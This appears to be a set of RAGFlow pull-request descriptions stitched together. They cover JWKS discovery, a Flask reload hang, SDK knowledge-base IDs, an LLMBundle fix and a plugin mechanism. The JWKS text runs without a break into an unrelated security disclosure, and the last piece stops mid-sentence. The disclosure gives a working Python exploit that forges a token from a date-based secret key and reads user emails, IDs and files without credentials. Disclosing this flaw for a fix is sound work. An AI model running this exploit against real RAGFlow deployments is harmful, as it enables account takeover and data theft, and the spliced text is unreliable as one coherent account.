### What problem does this PR solve?
Issue: #8051

The current implementation assumes JWKS endpoints follow the standard
`/.well-known/jwks.json` convention. This breaks authentication for OIDC
providers that use non-standard JWKS paths, resulting in 404 errors
during token validation.

Root Cause Analysis
- The OpenID Connect specification doesn't mandate a fixed path for JWKS
endpoints
- Some identity providers (like certain Keycloak configurations) use
custom endpoints
- Our previous approach constructed JWKS URLs by convention rather than
discovery

### Solution Approach
Instead of constructing JWKS URLs by appending to the issuer URI, we
now:
1. Properly leverage the `jwks_uri` from the OIDC discovery metadata
2. Honor the identity provider's actual configured endpoint

```python
# Before (fragile approach)
jwks_url = f"{self.issuer}/.well-known/jwks.json"

# After (standards-compliant)
jwks_cli = jwt.PyJWKClient(self.jwks_uri)  # Use discovered endpoint
```

### Description

There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.

The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.


### Source - Sink Analysis

**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token

**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token

### Proof of Concept

```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys

def exploit_ragflow(target):
    # Generate token with predictable key
    daily_key = str(date.today())
    serializer = URLSafeTimedSerializer(secret_key=daily_key)
    malicious_token = serializer.dumps("")
    
    print(f"Target: {target}")
    print(f"Secret key: {daily_key}")
    print(f"Generated token: {malicious_token}\n")
    
    # Test endpoints
    endpoints = [
        ("/v1/user/info", "User profile"),
        ("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
    ]
    
    auth_headers = {"Authorization": malicious_token}
    
    for path, description in endpoints:
        print(f"Testing {description}...")
        response = requests.get(f"{target}{path}", headers=auth_headers)
        
        if response.status_code == 200:
            data = response.json()
            if data.get("code") == 0:
                print(f"SUCCESS {description} accessible")
                if "user" in path:
                    user_data = data.get("data", {})
                    print(f"  Email: {user_data.get('email')}")
                    print(f"  User ID: {user_data.get('id')}")
                elif "file" in path:
                    files = data.get("data", {}).get("files", [])
                    print(f"  Files found: {len(files)}")
            else:
                print(f"Access denied")
        else:
            print(f"HTTP {response.status_code}")
        print()

if __name__ == "__main__":
    target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
    exploit_ragflow(target_url)
```

**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials

**Fix: Prevent Flask hot reload from hanging due to early thread
startup**

### What problem does this PR solve?

When running the Flask server with `use_reloader=True` (enabled during
debug mode), modifying a Python source file would trigger a reload
detection (`Detected change in ...`), but the application would hang
instead of restarting cleanly.

This was caused by the `update_progress` background thread being started
**too early**, often within the main module scope.
This issue was reported in
[#7498](https://github.com/infiniflow/ragflow/issues/7498).

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
---

**Summary of changes:**
- Wrapped `update_progress` launch in a `threading.Timer` with delay to
avoid premature thread execution.
- Marked thread as `daemon=True` to avoid blocking process exit.
- Added `WERKZEUG_RUN_MAIN` environment check to ensure background
threads only run in the reloader child process (the actual Flask app).
- Retained original behavior in production mode (`debug=False`).

…sing the SDK chat API

### What problem does this PR solve?

When using the SDK for chat, you can include the IDs of additional
knowledge bases you want to use in the request. This way, you don’t need
to repeatedly create new assistants to support various combinations of
knowledge bases. This is especially useful when there are many knowledge
bases with different content. If users clearly know which knowledge base
contains the information they need and select accordingly, the recall
accuracy will be greatly improved.

Users only need to add an extra field, a kb_ids array, in the HTTP
request. The content of this field can be determined by the client
fetching the list of knowledge bases and letting the user select from
it.

### What problem does this PR solve?

**Issue Description:**

When using the `/api/retrieval` endpoint with a POST request and setting
the `keyword` parameter to `true`, the system invokes the
`model_instance` method from `TenantLLMService` to create a `chat_mdl`
instance. Subsequently, it calls the `keyword_extraction` method to
extract keywords.

However, within the `keyword_extraction` method, the `chat` function of
the LLM attempts to access the `chat_mdl.max_length` attribute to
validate input length. This results in the following error:

```
AttributeError: 'SILICONFLOWChat' object has no attribute 'max_length'
```

**Proposed Solution:**

Upon reviewing other parts of the codebase where `chat_mdl` instances
are created, it appears that utilizing `LLMBundle` for instantiation is
more appropriate. `LLMBundle` includes the `max_length` attribute, which
should resolve the encountered error.

Hello, our use case requires LLM agent to invoke some tools, so I made a
simple implementation here.

This PR does two things:

1. A simple plugin mechanism based on `pluginlib`:

This mechanism lives in the `plugin` directory. It will only load
plugins from `plugin/embedded_plugins` for now.

A sample plugin `bad_calculator.py` is placed in
`plugin/embedded_plugins/llm_tools`, it accepts two numbers `a` and `b`,
then give a wrong result `a + b + 100`.

In the future, it can load plugins from external location with little
code change.

Plugins are divided into different types. The only plugin type supported
in this PR is `llm_tools`, which must implement the `LLMToolPlugin`
class in the `plugin/llm_tool_plugin.py`.
More plugin types can be added in the future.

2. A tool selector in the `Generate` component:

Added a tool selector to select one or more tools for LLM:


![image](https://github.com/user-attachments/assets/74a21fdf-9333-4175-991b-43df6524c5dc)

And with the `bad_calculator` tool, it results this with the `qwen-max`
model:
